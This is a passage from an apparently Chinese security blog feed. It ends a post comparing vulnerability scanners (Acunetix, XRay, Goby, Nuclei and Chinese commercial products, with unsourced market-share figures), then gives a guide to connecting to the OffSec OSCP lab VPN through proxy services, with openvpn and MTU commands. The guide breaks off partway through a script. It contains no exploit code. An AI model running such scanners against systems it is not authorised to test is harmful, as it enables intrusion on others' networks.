&lt;/ul&gt;
&lt;h3 id="-避坑指南"&gt;⚠️ &lt;strong&gt;避坑指南&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;问题&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;解决方案&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;扫描崩溃&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;限制并发请求（&lt;code&gt;Settings → Scan Settings → Max Requests&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;误报率高&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;启用 &lt;code&gt;Proof-Based Scanning&lt;/code&gt; 二次验证&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;登录失效&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;使用 &lt;code&gt;AcuSensor&lt;/code&gt; 代理抓取认证流量&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;社区版限制&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;避开「&lt;strong&gt;Acunetix 360 Free&lt;/strong&gt;」，仅支持 3 页面扫描&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="相似功能新产品推荐"&gt;相似功能新产品推荐
&lt;/h2&gt;&lt;p&gt;Nessus和AWVS作为入门熟悉的工具可用，但是再实际测试过程中误报和漏扫率高。安全技术更新换代快，以下是我个人对这些产品的经验看法，和推荐目前比较好用的几个工具。&lt;/p&gt;
&lt;h3 id="-商业-vs-开源核心差异分析"&gt;⚖️ &lt;strong&gt;商业 vs 开源核心差异分析&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;首先，这些产品分为商业版和开源版，两者的区别有：&lt;/p&gt;
&lt;h4 id="-商业工具依赖维度"&gt;🏭 &lt;strong&gt;商业工具依赖维度&lt;/strong&gt;
&lt;/h4&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TB
A[商业产品] --&gt; B(专属漏洞实验室)
A --&gt; C(0day快速响应)
A --&gt; D(自动化合规报告)
A --&gt; E(私有漏洞情报)
F[公司经营风险] --&gt; G[产品更新放缓]
F --&gt; H[漏洞库滞后]
F --&gt; I[误报率上升]&lt;/pre&gt;&lt;h4 id="-开源工具生存逻辑"&gt;🌐 &lt;strong&gt;开源工具生存逻辑&lt;/strong&gt;
&lt;/h4&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TB
J[开源项目] --&gt; K(社区贡献者)
J --&gt; L(GitHub Star驱动)
J --&gt; M(企业赞助)
N[技术门槛] --&gt; O[需自行维护规则库]
N --&gt; P[适配定制化环境]
N --&gt; Q[漏洞验证脚本开发]&lt;/pre&gt;&lt;h3 id="-关键能力对比"&gt;📊 &lt;strong&gt;关键能力对比&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;能力维度&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;商业工具&lt;/th&gt;
 &lt;th&gt;开源工具&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;漏洞响应速度&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;0day通常&amp;lt;24小时&lt;/td&gt;
 &lt;td&gt;依赖社区更新（平均3-7天）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;合规支持&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;自动生成符合审计的报告&lt;/td&gt;
 &lt;td&gt;需手动整理&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;使用成本&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;年费5000−50000+&lt;/td&gt;
 &lt;td&gt;免费但需时间成本&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;定制灵活性&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;闭源不可修改&lt;/td&gt;
 &lt;td&gt;可二次开发&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-中国网络安全市场主流产品图谱"&gt;🛡️ &lt;strong&gt;中国网络安全市场主流产品图谱&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;产品名称&lt;/th&gt;
 &lt;th&gt;厂商&lt;/th&gt;
 &lt;th&gt;主打能力&lt;/th&gt;
 &lt;th&gt;行业占有率&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;奇安信网神漏洞扫描系统&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;奇安信&lt;/td&gt;
 &lt;td&gt;等保2.0合规驱动 · 信创生态适配（麒麟/统信） · 0day响应&amp;lt;12小时&lt;/td&gt;
 &lt;td&gt;政府/央企（≥35%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;安恒明鉴漏洞扫描器&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;安恒信息&lt;/td&gt;
 &lt;td&gt;Web3.0深度检测 · API安全治理 · 结合「北斗」AI引擎&lt;/td&gt;
 &lt;td&gt;金融/医疗（28%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;绿盟极光漏洞扫描系统&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;绿盟科技&lt;/td&gt;
 &lt;td&gt;攻防演练模式 · ICS/OT工控支持 · 漏洞利用链可视化&lt;/td&gt;
 &lt;td&gt;能源/制造业（20%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;长亭洞鉴&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;长亭&lt;/td&gt;
 &lt;td&gt;动态流量分析 · RASP结合 · 云原生漏洞挖掘&lt;/td&gt;
 &lt;td&gt;互联网/云平台（18%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;启明星辰天镜&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;启明星辰&lt;/td&gt;
 &lt;td&gt;资产管理优先 · 漏洞生命周期管理 · 等保测评报告自动生成&lt;/td&gt;
 &lt;td&gt;教育/运营商（15%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-国产-vs-国际产品关键差异"&gt;🆚 &lt;strong&gt;国产 VS 国际产品关键差异&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;维度&lt;/th&gt;
 &lt;th&gt;国内产品优势&lt;/th&gt;
 &lt;th&gt;国际产品劣势&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;合规支持&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;内置等保2.0/关基条例模板&lt;/td&gt;
 &lt;td&gt;需定制开发&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;漏洞响应&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;CNNVD/CNVD同步&amp;lt;6小时&lt;/td&gt;
 &lt;td&gt;CVE中心依赖（时差延迟）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;信创适配&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;深度支持国产OS/数据库&lt;/td&gt;
 &lt;td&gt;仅兼容Windows/Linux主流版&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;定价策略&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;按IP/年收费（含驻场服务）&lt;/td&gt;
 &lt;td&gt;订阅制（美元结算+高溢价）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-免费替代方案推荐"&gt;🚀 &lt;strong&gt;免费替代方案推荐&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;XRay 社区版（长亭开源）&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 被动代理扫描
./xray webscan --listen 127.0.0.1:7777
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Goby 社区版&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;资产测绘免费 · 漏洞扫描限量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a class="link" href="https://www.yaklang.com/products/intro/" target="_blank" rel="noopener"
 &gt;Yakit&lt;/a&gt;+Nuclei&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Yakit是集成化单兵安全能力平台，用Yaklang语言编写&lt;/li&gt;
&lt;li&gt;Nuclei有丰富的开源模板，也可以自行编写漏洞模板，或让AI编写&lt;/li&gt;
&lt;li&gt;Yakit支持直接导入Nuclei模板扫描&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>【踩坑总结】丝滑连接OffSec官方VPN的方法</title><link>https://ruajingjing.top/post/kali%E4%B8%9D%E6%BB%91%E8%BF%9E%E6%8E%A5offsec%E5%AE%98%E6%96%B9%E7%9A%84%E6%96%B9%E6%B3%95/</link><pubDate>Wed, 16 Jul 2025 16:45:31 +0000</pubDate><guid>https://ruajingjing.top/post/kali%E4%B8%9D%E6%BB%91%E8%BF%9E%E6%8E%A5offsec%E5%AE%98%E6%96%B9%E7%9A%84%E6%96%B9%E6%B3%95/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post 【踩坑总结】丝滑连接OffSec官方VPN的方法" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;方法对比&lt;/th&gt;
 &lt;th&gt;难度&lt;/th&gt;
 &lt;th&gt;流畅度&lt;/th&gt;
 &lt;th&gt;靶机VPN是否双端&lt;/th&gt;
 &lt;th&gt;流量消耗&lt;/th&gt;
 &lt;th&gt;稳定性&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;方法一：Tun模式&lt;/td&gt;
 &lt;td&gt;⭐⭐&lt;/td&gt;
 &lt;td&gt;340ms&lt;/td&gt;
 &lt;td&gt;仅Kali&lt;/td&gt;
 &lt;td&gt;大&lt;/td&gt;
 &lt;td&gt;好&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;方法二：允许局域网&lt;/td&gt;
 &lt;td&gt;⭐⭐⭐&lt;/td&gt;
 &lt;td&gt;190ms&lt;/td&gt;
 &lt;td&gt;Win、Kali双端&lt;/td&gt;
 &lt;td&gt;小&lt;/td&gt;
 &lt;td&gt;差&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;方法三：Kali中单独登机&lt;/td&gt;
 &lt;td&gt;⭐⭐⭐&lt;/td&gt;
 &lt;td&gt;200ms&lt;/td&gt;
 &lt;td&gt;仅Kali&lt;/td&gt;
 &lt;td&gt;中&lt;/td&gt;
 &lt;td&gt;好&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;流畅度测试命令 ping IP -c 10 |grep rtt&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="方法一物理机登机场开tun模式kali虚拟机连接靶机vpn"&gt;方法一：物理机登机场开Tun模式，Kali虚拟机连接靶机VPN
&lt;/h2&gt;&lt;p&gt;找个机场订阅，需要登机方式的可以后台私信我。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714100539961" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714100539961.png"&gt;&lt;/p&gt;
&lt;p&gt;点击左边的“代理”，点击“全局”，设置为全局模式，点击Traffic自动选择最快的节点，考试时候建议手动选择下面有地名的节点，一开始选的哪一个，只选那个，不要换节点，可能会因为节点异地登录引起麻烦。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714100703533" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714100703533.png"&gt;&lt;/p&gt;
&lt;p&gt;点击左侧“设置”按钮，打开Tun模式和服务模式，红框里面的建议都打开，其他按钮不要动。服务模式的小盾牌点一下，安装一个组件，没有装的装一下。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714101015098" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714101015098.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714101324318" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714101324318.png"&gt;&lt;/p&gt;
&lt;p&gt;除了Clash小猫咪软件，也可以使用V2rayN软件特定版本的tun模式，不要使用新版，新版的tun不稳定。&lt;/p&gt;
&lt;p&gt;此时进入Kali虚拟机，查询一下自己的出口节点，确实是机场的节点了，而且ping谷歌的速度也比较快，就说明翻过去了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714130005840" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714130005840.png"&gt;&lt;/p&gt;
&lt;p&gt;下载Kali官方的VPN，复制到Kali虚拟机中。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714101517858" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714101517858.png"&gt;&lt;/p&gt;
&lt;p&gt;然后在Kali中使用以下命令连接Kali靶机的VPN。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo openvpn universal.ovpn
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250714103115235" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714103115235.png"&gt;&lt;/p&gt;
&lt;p&gt;然后用&lt;code&gt;ifconfig&lt;/code&gt; 命令能发现多出来的网卡。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714114334045" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714114334045.png"&gt;&lt;/p&gt;
&lt;p&gt;使用如下命令设置以下速率，来保证VPN的传输稳定，如果你的机场够快，下面的命令也可以不设，默认的1500速度也一样的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ip link show tun0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250714130244569" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714130244569.png"&gt;&lt;/p&gt;
&lt;p&gt;靶场漏端口的情况和机场连接的速度有关，测试下来的经验：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;极速机场：便宜，拖Docker镜像确实极速，但是干别的不行，Kali的VPN都连不上。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;龙猫机场：价格中等，拖Docker镜像有点慢，综合来说干什么都可以，就是都有点慢，能连Kali的VPN，但是扫端口略慢。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Flower机场：价格是龙猫的两倍，速度很快，连Kali的VPN很丝滑，推荐考试使用。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一元机场：白菜价，巨慢，疑似跑路了，节点没几个活的了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;自建专线机场：包机，很快，但是也贵，速度看机场在哪里，建议买香港节点，连Kali的VPN很丝滑，推荐考试使用。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总结：这个方法最简单也最直接，但是tun+全局模式会让所有流量都走的机场代理，对于机场流量&lt;strong&gt;消耗巨大&lt;/strong&gt;。还有就是某些国内网站从国外地址翻进来访问也是很慢很慢。&lt;/p&gt;
&lt;h2 id="方法二物理机登机场允许局域网连接修改universalovpn开头"&gt;方法二：物理机登机场允许局域网连接，修改universal.ovpn开头
&lt;/h2&gt;&lt;p&gt;代理规则组依旧是选择全局代理。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714150313710" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714150313710.png"&gt;&lt;/p&gt;
&lt;p&gt;系统设置上关闭Tun模式，关闭服务模式，打开“局域网连接”&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714150217008" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714150217008.png"&gt;&lt;/p&gt;
&lt;p&gt;注意看端口用的时哪一个，这里用的时&lt;code&gt;7897&lt;/code&gt;。修改官网下载的VPN文件，在首行加入代理地址&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socks-proxy 127.0.0.1 &lt;span class="m"&gt;7897&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250714154041525" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714154041525.png"&gt;&lt;/p&gt;
&lt;p&gt;然后再物理机Windows中直接导入OpenVPN GUI软件中，再Windows上连接VPN。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714151004069" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714151004069.png"&gt;&lt;/p&gt;
&lt;p&gt;VPN软件中设置代理为“使用配置文件中的设置”&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714151309853" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714151309853.png"&gt;&lt;/p&gt;
&lt;p&gt;选中VPN名称后右键打开选项，点击连接即可。第一次连接后有概率会重连或断开一次，再次点击重新连接即可。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714151157315" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714151157315.png"&gt;&lt;/p&gt;
&lt;p&gt;WIndows下打开也可以看靶机，Kali下也可以。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714152056842" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714152056842.png"&gt;&lt;/p&gt;
&lt;p&gt;Windows和Kali上的速率相差不大。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714152428369" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714152428369.png"&gt;&lt;/p&gt;
&lt;p&gt;但是使用Nmap有概率扫漏端口。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714153438608" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714153438608.png"&gt;&lt;/p&gt;
&lt;p&gt;直接请求的话，还是能请求的。但是连接不稳定，即使物理机到虚拟机的网络设置了不限速，但是再Kali中扫描靶机还是很慢。还有概率断线。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714153727717" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714153727717.png"&gt;&lt;/p&gt;
&lt;h2 id="方法三kali中用v2rayn命令行连接kali直连vpn"&gt;方法三：Kali中用V2rayN命令行连接，Kali直连Vpn
&lt;/h2&gt;&lt;p&gt;安装V2rayN的Linux版本，复制机场信息到Kali中，在Kali中登录VPN。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714173555122" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714173555122.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714173907199" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714173907199.png"&gt;&lt;/p&gt;
&lt;p&gt;扫描端口也不掉包的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714174349207" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714174349207.png"&gt;&lt;/p&gt;
&lt;h2 id="命令参数之间的配合"&gt;命令参数之间的配合
&lt;/h2&gt;&lt;p&gt;如果mtu速度、机场速度和Nmap等命令参数配合的不对，可能出现以下情况&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;一扫就是一堆&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250714120210543" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714120210543.png"&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;端口漏扫&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250714120254314" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714120254314.png"&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;扫的很慢，半天没有反应。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;每个人的网络环境不一样，带宽和速度不一样，使用Wifi和使用网线的稳定性和速率也不一样。所以同样的命令参数，别人能用但不代表你的网络环境能用。建议考试时，提前测试考试地点的网络环境或者使用之前练习时候的场景即可。尽量保证网络最优，不要因为漏扫某个关键端口而出现打不进去的情况。如果你怀疑你的网络有问题，建议使用官方网页的My Kali再次验证一下，以官方My Kali的扫描结果为准。&lt;/p&gt;
&lt;p&gt;下面是一些网络优化的建议：&lt;/p&gt;
&lt;h3 id="自动mtu测试脚本"&gt;自动MTU测试脚本
&lt;/h3&gt;&lt;p&gt;将以下脚本保存为&lt;code&gt;mtu-test.sh&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自动化MTU测试脚本 - 支持自定义参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 默认参数配置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DEFAULT_TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;192.168.116.72&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;QUICK_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1472&lt;/span&gt; &lt;span class="c1"&gt;# 快速测试起始值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;QUICK_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1200&lt;/span&gt; &lt;span class="c1"&gt;# 快速测试结束值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;QUICK_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;-10 &lt;span class="c1"&gt;# 快速测试步长&lt;/span&gt;
